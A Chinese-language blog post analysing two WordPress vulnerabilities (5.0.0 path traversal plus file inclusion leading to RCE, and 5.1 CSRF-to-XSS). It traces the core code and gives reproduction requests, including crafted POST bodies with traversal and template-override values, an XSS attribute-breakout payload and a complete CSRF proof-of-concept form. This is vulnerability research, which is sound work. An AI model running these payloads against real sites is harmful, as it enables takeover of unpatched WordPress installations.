内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

聊聊近期wordpress的漏洞

2019-03-18 11:26 出处:清屏网 人气: 评论(0

近期rips在博客上披露了两个关于wordpress的漏洞,一个是 WordPress 5.0.0 Remote Code Execution ,另一个是 WordPress 5.1 CSRF to Remote Code Execution 。由于之前工作的原因没有好好看这两个漏洞,所以今天过来学习一下。

0x02 漏洞分析

一、WordPress 5.0.0 Remote Code Execution

先看第一个漏洞 WordPress 5.0.0 Remote Code Execution ,这个漏洞是个组合漏洞。

这个漏洞总结起来一共三个步骤。

1、控制 wp_postmeta 表中的 meta_keymeta_value 的值。

2、目录穿越漏洞

3、本地文件包含漏洞

1、变量控制

首先第一步攻击者可通过控制POST中 meta_input 字段的值,从而自由更改 wp_postmeta 表中的 meta_keymeta_value 的值,具体效果我们可以看下图。

功能点在媒体添加处,选择添加并且点击更新按钮。

过bp拦截抓包,在数据包中增加以下内容

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 192.168.97.69
....

_wpnonce=44d869d454&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D7%26action%3Dedit&user_ID=1&action=editpost...&post_author_override=1&meta_input[_wp_attached_file]=2019/03/1-1.jpg?/../../../../themes/twentynineteen/demo.jpg

事实上这里相关数据已经进入到了数据库中,接下来可以看看代码究竟是怎么回事。

从数据包来看当 action=editpost ,对应到代码里面的相关位置是在 wp-admin/post.php 文件中第196行,这里简化以下代码,我们到看当 caseeditpost 的时候,会进入这个 case 之内,并且调用 editpost 方法,跟进这个方法。

这个方法是在 wp-admin/includes/post.php#edit_post 中,这里我简化以下代码,我们看一下核心部分。简单来说就是在 edit_post 方法中,如果 post_data 为空的情况下,是可以通过 POST 全局变量获取得到,因此这里的 post_data 可控,并且在一系列的代码流程执行结束之后,会调用 wp_update_post 方法处理 post_data 的值。

继续跟进一下 wp_update_post 方法,省略了一些无关代码,最后 return 的时候会调用 wp_insert_post 方法。然后继续跟进 wp_insert_post 方法,关键的代码如下图中,对 $postarr['meta_input'] 做一个遍历,并将键值都带入到 update_post_meta 函数中。

跟进 update_post_meta 方法,这个方法中传入的 meta_keymeta_value 都是攻击者可控,且在最后 return 时候执行了 update_metadata ,而这个方法的作用就是更新 wp_postmeta 中数据的内容,所以这里我们可以构造数据数据包,串改相关字段的值。

2、目录穿越

目录穿越文件出现在了剪裁功能上,我们先看一下复现过程。点击编辑图片,使用剪裁功能。

点击保存之后,通过bp修改数据包,需要将postdata替换为下面这些。

action=crop-image&_ajax_nonce=8c2f0c9e6b&id=74&cropDetails[x1]=10&cropDetails[y1]=10&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=100&cropDetails[dst_height]=100

其中有几点需要注意的是,我们需要将正常剪裁数据包中的 _ajax_nonepostid 的值替换到上面数据包中的 _ajax_nonepostid 的位置。

然后我们可以看到相关图片已经被目录穿越传递过来了。

接下来我们来看看代码,首先数据包中的 postdateaction=crop—img ,跟进一下相关代码,也就是在 wp-admin/admin-ajax.php:99 位置,通过拼接之后,调用 do_action 方法执行 wp_ajax_crop_img

我们跟进一下 wp_ajax_crop_image 方法,在这方法中首先通过 POST 传入的 id 先调用 check_ajax_referer 判断 nonce 值是否正确,以及是否有相关权限编辑图片,如果前面的流程都正确,会调用 wp_crop_image 方法针对data内容进行处理,而 data 内容是来自 POST 变量 cropDetails 的值,因此这部分可控。

跟进一下 wp_crop_image 方法,这里首先根据传入的 src 参数的值判断是否是数字,而这里的 src 的值正是通过 POST 传入的 id 的值,并且调用了 get_attached_file 方法,跟进 get_attached_file 方法可以看到通过调用 get_post_meta 方法根据 attachment_id 获取 meta_key 值为 _wp_attached_filemeta_value 值查询出来并返回,这里上文已经说过了,我们已经在 meta_value 插入了脏数据。

function get_attached_file( $attachment_id, $unfiltered = false ) {
	$file = get_post_meta( $attachment_id, '_wp_attached_file', true );

然后会进行路径拼接,再会进行 file_exists 判断,因为我们传入的是特殊构造的路径,因此 file_exists 函数的判断是 false ,所以这里进入到了true的循环里,并且调用 _load_image_to_edit_path 方法进行处理。跟进 _load_image_to_edit_path 方法,由于我们通过第2行 get_attached_file( $attachment_id ); 获取到的路径为特殊路径,因此这里会进入第二循环中,调用 wp_get_attachment_url 方法进行路径获取。

//wordpress/wp-admin/includes/image.php
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
	$filepath = get_attached_file( $attachment_id );
	if ( $filepath && file_exists( $filepath ) ) {
		if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) {
			$filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size );
		}
	} elseif ( function_exists( 'fopen' ) && true == ini_get( 'allow_url_fopen' ) ) {
		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}
	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}

跟进 wp_get_attachment_url 方法,通过传入的 attachment_id 查询相关 meta_key 值为 _wp_attached_file 对应 meta_value 的值,并且在最后使用 $url = $uploads['baseurl'] . "/$file"; 进行URL拼接。

//wordpress/wp-includes/post.php
function wp_get_attachment_url( $attachment_id = 0 ) {
	$attachment_id = (int) $attachment_id;
	if ( ! $post = get_post( $attachment_id ) ) {
		return false;
	}

	if ( 'attachment' != $post->post_type )
		return false;

	$url = '';
	// Get attached file.
	if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true ) ) {
		// Get upload directory.
		if ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) {
			// Check that the upload base exists in the file location.
			if ( 0 === strpos( $file, $uploads['basedir'] ) ) {
				// Replace file location with url location.
				$url = str_replace($uploads['basedir'], $uploads['baseurl'], $file);
			} elseif ( false !== strpos($file, 'wp-content/uploads') ) {
				// Get the directory name relative to the basedir (back compat for pre-2.7 uploads)
				$url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . basename( $file );
			} else {
				// It's a newly-uploaded file, therefore $file is relative to the basedir.
				$url = $uploads['baseurl'] . "/$file";
			}
		}
	}

也就是说如果我们数据库里的是:

2019/03/1-1.jpg?/../../../../themes/twentynineteen/demo.jpg

上面这这样的url地址,那么拼接之后就如下所示:

http://localhost/wp-content/uploads/2019/03/1-1.jpg?/../../../../themes/twentynineteen/demo.jpg

最后会将这部分url还给 src 变量,也就是对应 第13行 的内容,然后流程会进入到第21行,调用 wp_get_image_editor 方法处理src的值。跟进一下 wp_get_image_editor 方法,这个方法会调用 _wp_image_editor_choose 方法处理传入的 args ,这步处理结果是返回一个图片处理方式,下面会细讲。然后通过实例化这个图片处理方式,传入 path ,调用图片处理方式中的 load 方法,加载相关图片,最后返回实例化的图片处理方式。

//wordpress/wp-includes/media.php#wp_get_image_editor
function wp_get_image_editor( $path, $args = array() ) {
	$args['path'] = $path;
	if ( ! isset( $args['mime_type'] ) ) {
		$file_info = wp_check_filetype( $args['path'] );

		// If $file_info['type'] is false, then we let the editor attempt to
		// figure out the file type, rather than forcing a failure based on extension.
		if ( isset( $file_info ) && $file_info['type'] )
			$args['mime_type'] = $file_info['type'];
	}

    $implementation = _wp_image_editor_choose( $args );
    if ( $implementation ) {
		$editor = new $implementation( $path );
		$loaded = $editor->load();

		if ( is_wp_error( $loaded ) )
			return $loaded;

		return $editor;
	}

上面我们说到 _wp_image_editor_choose 方法的处理结果是返回一个图片处理方式,这里可以跟进一下,代码如下所示,这个方法主要是选择用什么图片库来处理图片,默认两种是Imagick和gd,而在这里是Imagick优先级最高的,GD其次,而这个方法最后的处理结果是返回相关文件方式。

function _wp_image_editor_choose( $args = array() ) {
...
	$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );

	foreach ( $implementations as $implementation ) {
		if ( ! call_user_func( array( $implementation, 'test' ), $args ) )
			continue;

		if ( isset( $args['mime_type'] ) &&
			! call_user_func(
				array( $implementation, 'supports_mime_type' ),
				$args['mime_type'] ) ) {
			continue;
		}

		if ( isset( $args['methods'] ) &&
			 array_diff( $args['methods'], get_class_methods( $implementation ) ) ) {
			continue;
		}

		return $implementation;
	}
	return false;
}

这里有个小tips:

  • Imagick不会去除掉图片中的exif部分,所以我们可以将待执行payload代码加入到exif部分。
  • GD会去除图片的exif部分,并且其中的phpcode很难存活。除非通过精心构造一张图片才可以。

然后流程进入到第23行,调用 $editor->crop 剪裁图片,然后将图片名字命名为 cropped-xxx ,最后在38行,调用 \$editor->save 存储图片,所以这里通过裁剪,由于没有过滤 ../ 等字符,造成了目录跳转。

这里还有个小tips:

而linux、mac支持这种假目录,可以使用?号

但windows在路径中不能有?号,所以这里改用了#号

3、文件包含

由于RIPS文章里只提到 _wp_page_template ,因此我们可以在代码里面搜一下。

发现在 get_page_template_slug 方法中调用了存在 _wp_page_template ,并且可根据 POST 传入的值通过调用 get_post_meta 获取 id ,并且根据传入的 id 查询相关 meta_key 值为 _wp_page_template 对应 meta_value 的值。并且最后返回 template 变量。

所以这里可以继续回溯,看看哪里调用了 get_page_template_slug 方法,下图中的 wp-includes/template.php 文件里的两个调用 get_page_template_slug 的方法分别是 get_page_templateget_single_template 方法。

而在回溯 get_page_template 方法的时候暂时没有找到相关利用点,因此这里选择在 get_single_template 方法上嚼一下。首先在 wp-includes/template-loader.php 文件中,存在文件包含函数 include

而在 get_single_template 方法中,最后调用 get_query_template 处理 templates ,而 templates 是通过 get_page_template_slug 方法获取数据库中 _wp_page_template 对应 meta_value 的值,这个值由前面可知可覆盖。

function get_single_template() {
    $object = get_queried_object();
    $templates = array();
    if ( ! empty( $object->post_type ) ) {
        $template = get_page_template_slug( $object );
        if ( $template && 0 === validate_file( $template ) ) {
            $templates[] = $template;
            }
            $name_decoded = urldecode( $object->post_name );
            if ( $name_decoded !== $object->post_name ) {
                $templates[] = "single-{$object->post_type}-{$name_decoded}.php";
        }
        $templates[] = "single-{$object->post_type}-{$object->post_name}.php";
        $templates[] = "single-{$object->post_type}.php";
    }
    $templates[] = "single.php";
    return get_query_template( 'single', $templates );
}

跟进 get_query_template 方法,该方法调用了 locate_template 方法。

function get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	if ( empty( $templates ) )
		$templates = array("{$type}.php");
	$templates = apply_filters( "{$type}_template_hierarchy", $templates );

	$template = locate_template( $templates );

	return apply_filters( "{$type}_template", $template, $type, $templates );
}

继续跟进 locate_template 方法,这里很明显路径采用拼接的方式,而 template_names 可控,所以这里就是一个利用点。

function locate_template($template_names, $load = false, $require_once = true ) {
	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( !$template_name )
			continue;
		if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
			$located = STYLESHEETPATH . '/' . $template_name;
			break;
		} elseif ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
			$located = TEMPLATEPATH . '/' . $template_name;
			break;
		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
			break;
		}
	}

	if ( $load && '' != $located )
		load_template( $located, $require_once );

	return $located;
}

复现一下,首先先上传一个txt文件,点击编辑详细信息。

点击更新,通过bp抓包覆盖 _wp_page_template 对应的 meta_value 的内容

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 192.168.97.69
...

_wpnonce=6a3ca9fed1...&post_author_override=1&meta_input[_wp_page_template]=cropped-demo.jpg

然后再点击查看详情即可rce了。

二、WordPress 5.1 CSRF to Remote Code Execution

漏洞分析

题目为CSRF-to-RCE起初我以为是一个很大的洞,后面看完发现其实就和我们普通的存储xss一样,通过XSS打后台cookie,因为wordpress超级管理员后台是允许管理员修改php文件。现在先来看看漏洞吧。根据下图payload,定位到相关漏洞点。

在此之前,我们看看非超级管理用户评论和超级管理员评论的数据包有什么区别,从数据包中可以看到,区别就在 _wp_unfiltered_html_comment 这个字段。

匿名用户
comment=aaa&author=111&email=11%40admin.com&url=&submit=%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA&comment_post_ID=1&comment_parent=0

超级管理员用户
comment=aaa&submit=%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA&comment_post_ID=1&comment_parent=0&_wp_unfiltered_html_comment=2eba52fd54

而根据rips文章中,漏洞点出现在wordpress/wp-includes/comment.php

//wordpress/wp-includes/comment.php
if ( current_user_can( 'unfiltered_html' ) ) {
    if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
    || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
			) {
            kses_remove_filters(); // start with a clean slate
            kses_init_filters(); // set up the filters
            }
    }

如果创建该评论的是具备 unfiltered_html 功能的管理员,且 _wp_unfiltered_html_comment 不为空的情况,就会进入第二个if循环,并调用 kses_init_filters ,跟进这个方法,如果 current_user_can 判断成功就会使用 wp_filter_post_kses 方法处理,否则就会使用 wp_filter_kses

//wordpress/wp-includes/kses.php#kses_init_filters
function kses_init_filters() {
	// Normal filtering
	add_filter( 'title_save_pre', 'wp_filter_kses' );

	// Comment filtering
	if ( current_user_can( 'unfiltered_html' ) ) {
		add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
	} else {
		add_filter( 'pre_comment_content', 'wp_filter_kses' );
    }
    ...
}

这里我们跟进一下 wp_filter_post_kses 方法,这个方法简单来说只是调用 addslashesstripslashes 函数处理post提交的内容。

//wordpress/wp-includes/kses.php#wp_filter_post_kses
function wp_filter_post_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}

跟进一下 wp_filter_kses 方法,这个方法回多调用一个 current_filter 方法

//wordpress/wp-includes/kses.php#wp_filter_kses
function wp_filter_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

wp_filter_kses和 wp_filter_post_kses 相同点在return的时候调用 wp_kses 方法进行处理,跟进 wp_kses 方法。

//wordpress/wp-includes/kses.php#wp_kses
function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
	if ( empty( $allowed_protocols ) ) {
		$allowed_protocols = wp_allowed_protocols();
	}
	$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
	$string = wp_kses_normalize_entities( $string );
	$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
	return wp_kses_split( $string, $allowed_html, $allowed_protocols );
}

wp_kses方法在return的时候调用了 wp_kses_split ,跟进一下这个方法。

 //wordpress/wp-includes/kses.php#wp_kses_split
 function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
	global $pass_allowed_html, $pass_allowed_protocols;
	$pass_allowed_html      = $allowed_html;
	$pass_allowed_protocols = $allowed_protocols;
	return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
}

这个方法在 return 时候调用了 _wp_kses_split_callback ,继续跟进。

//wordpress/wp-includes/kses.php#_wp_kses_split_callback
function _wp_kses_split_callback( $match ) {
	global $pass_allowed_html, $pass_allowed_protocols;
	return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
}

这里我们继续跟进一下 wp_kses_split2 方法,再返回的位置调用了 wp_kses_attr

//wordpress/wp-includes/kses.php#wp_kses_split2
function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
    $string = wp_kses_stripslashes( $string );
    ...
	return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
}

继续跟进 wp_kses_attr ,第三行调用了 wp_kses_allowed_html 方法。

//wordpress/wp-includes/kses.php#wp_kses_attr
function wp_kses_attr( $element, $attr, $allowed_html, $allowed_protocols ) {
	if ( ! is_array( $allowed_html ) ) {
		$allowed_html = wp_kses_allowed_html( $allowed_html );
	}
...
	return "<$element$attr2$xhtml_slash>";
}

继续跟进 wp_kses_allowed_html ,简化了一下代码。

我们再回头看下 wp_filter_post_kseswp_filter_kses

//wordpress/wp-includes/kses.php#wp_filter_kses
wp_kses( stripslashes( $data ), 'post' ) 

//wordpress/wp-includes/kses.php#wp_filter_kses
wp_kses( stripslashes( $data ), current_filter())

也就是说在使用 wp_filter_kses 的情况下,默认是进入default中,而在default中存在一个 allowedtags 字段

//wordpress/wp-includes/kses.php
$allowedposttags = array(
    'address'    => array(),
    'a'          => array(
        'href'     => true,
        'rel'      => true,
        'rev'      => true,
        'name'     => true,
        'target'   => true,
        'download' => array(
            'valueless' => 'y',

        ...
$allowedtags = array(
    'a'          => array(
        'href'  => true,
        'title' => true,
        ),
    ...

而这里问题恰恰出现在了这个白名单上, wp_filter_post_kseswp_filter_kses 差别在于 wp_filter_kses 方法更加的严格。

我们看到上面的白名单是允许a标签,当WordPress执行完评论的过滤过程后,就会修改评论字符串中的 <a> 标签,以适配SEO(搜索引擎优化)应用场景。

//wordpress/wp-includes/default-filters.php:251
add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 );

这里会调用 wp_rel_nofollow 来处理 pre_comment_content 内容,跟进 wp_rel_nofollow 调用了 wp_rel_nofollow_callback 进行处理text的内容。

//wordpress/wp-includes/formatting.php#wp_rel_nofollow
function wp_rel_nofollow( $text ) {
	// This is a pre save filter, so text is already escaped.
	$text = stripslashes( $text );
	$text = preg_replace_callback( '|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text );
	return wp_slash( $text );
}

跟进 wp_rel_nofollow_callback 方法,处理传入的 <a> 标签,如果 rel 位置的内容不为空,就会进入这个循环,然后通过 foreach 循环处理 <a> 的内容,并且进行拼接。

//wordpress/wp-includes/formatting.php#wp_rel_nofollow_callback
function wp_rel_nofollow_callback( $matches ) {
	$text = $matches[1];
	$atts = shortcode_parse_atts( $matches[1] );
	$rel  = 'nofollow';

	if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||
		preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) {

		return "<a $text>";
	}

	if ( ! empty( $atts['rel'] ) ) {
		$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
		if ( false === array_search( 'nofollow', $parts ) ) {
			$parts[] = 'nofollow';
		}
		$rel = implode( ' ', $parts );
		unset( $atts['rel'] );

		$html = '';
		foreach ( $atts as $name => $value ) {
			$html .= "{$name}=\"$value\" ";
		}
		$text = trim( $html );
	}
	return "<a $text rel=\"$rel\">";

假设我们构造下面内容

<a title='l1nk3r " onmouseover=alert(111) id=" ' rel='111'>please click me

那么这里通过替换取值之后就变成了

<a title="l1nk3r " onmouseover=alert(111) id=" " rel='111'>please click me

最后CSRF poc如下所示

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/wordpress/wp-comments-post.php" method="POST">
      <input type="hidden" name="comment" value="<a title 'l1nk3r " onmouseover alert 111  id " ' rel '111'>please click me" />
      <input type="hidden" name="submit" value="       " />
      <input type="hidden" name="comment post ID" value="1" />
      <input type="hidden" name="comment parent" value="0" />
      <input type="hidden" name=" wp unfiltered html comment" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

漏洞修复

首先wordpress在xss漏洞上,使用 esc_attr 进行过滤。

然后针对第二个问题,我们通过CSRF在超级管理员的权限下注入 <a> 标签,并且携带 rel 字段,官方是通过remove_filter方法去掉 wp_filter_post_kses ,替换上 wp_filter_kses ,原因在于 wp_filter_kses 方法是不支持 rel 字段的。

##0x03 小结

首先第一个洞 WordPress 5.0.0 Remote Code Execution ,它的触发流程:

媒体库上传图片->通过POST发送 meta_input[_wp_attached_file] 修改数据库中的相关字段->通过文件剪裁调用 wp_ajax_crop_img 达到目录穿越->通过 _wp_page_template 达到文件包含

另一个洞 WordPress 5.1 CSRF to Remote Code Execution ,这个洞本质上是个xs,因为wordpress是允许超级管理员自定义修改php文件,所以这标题来看,rips也是个标题党。


分享给小伙伴们:
本文标签: wordpress

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.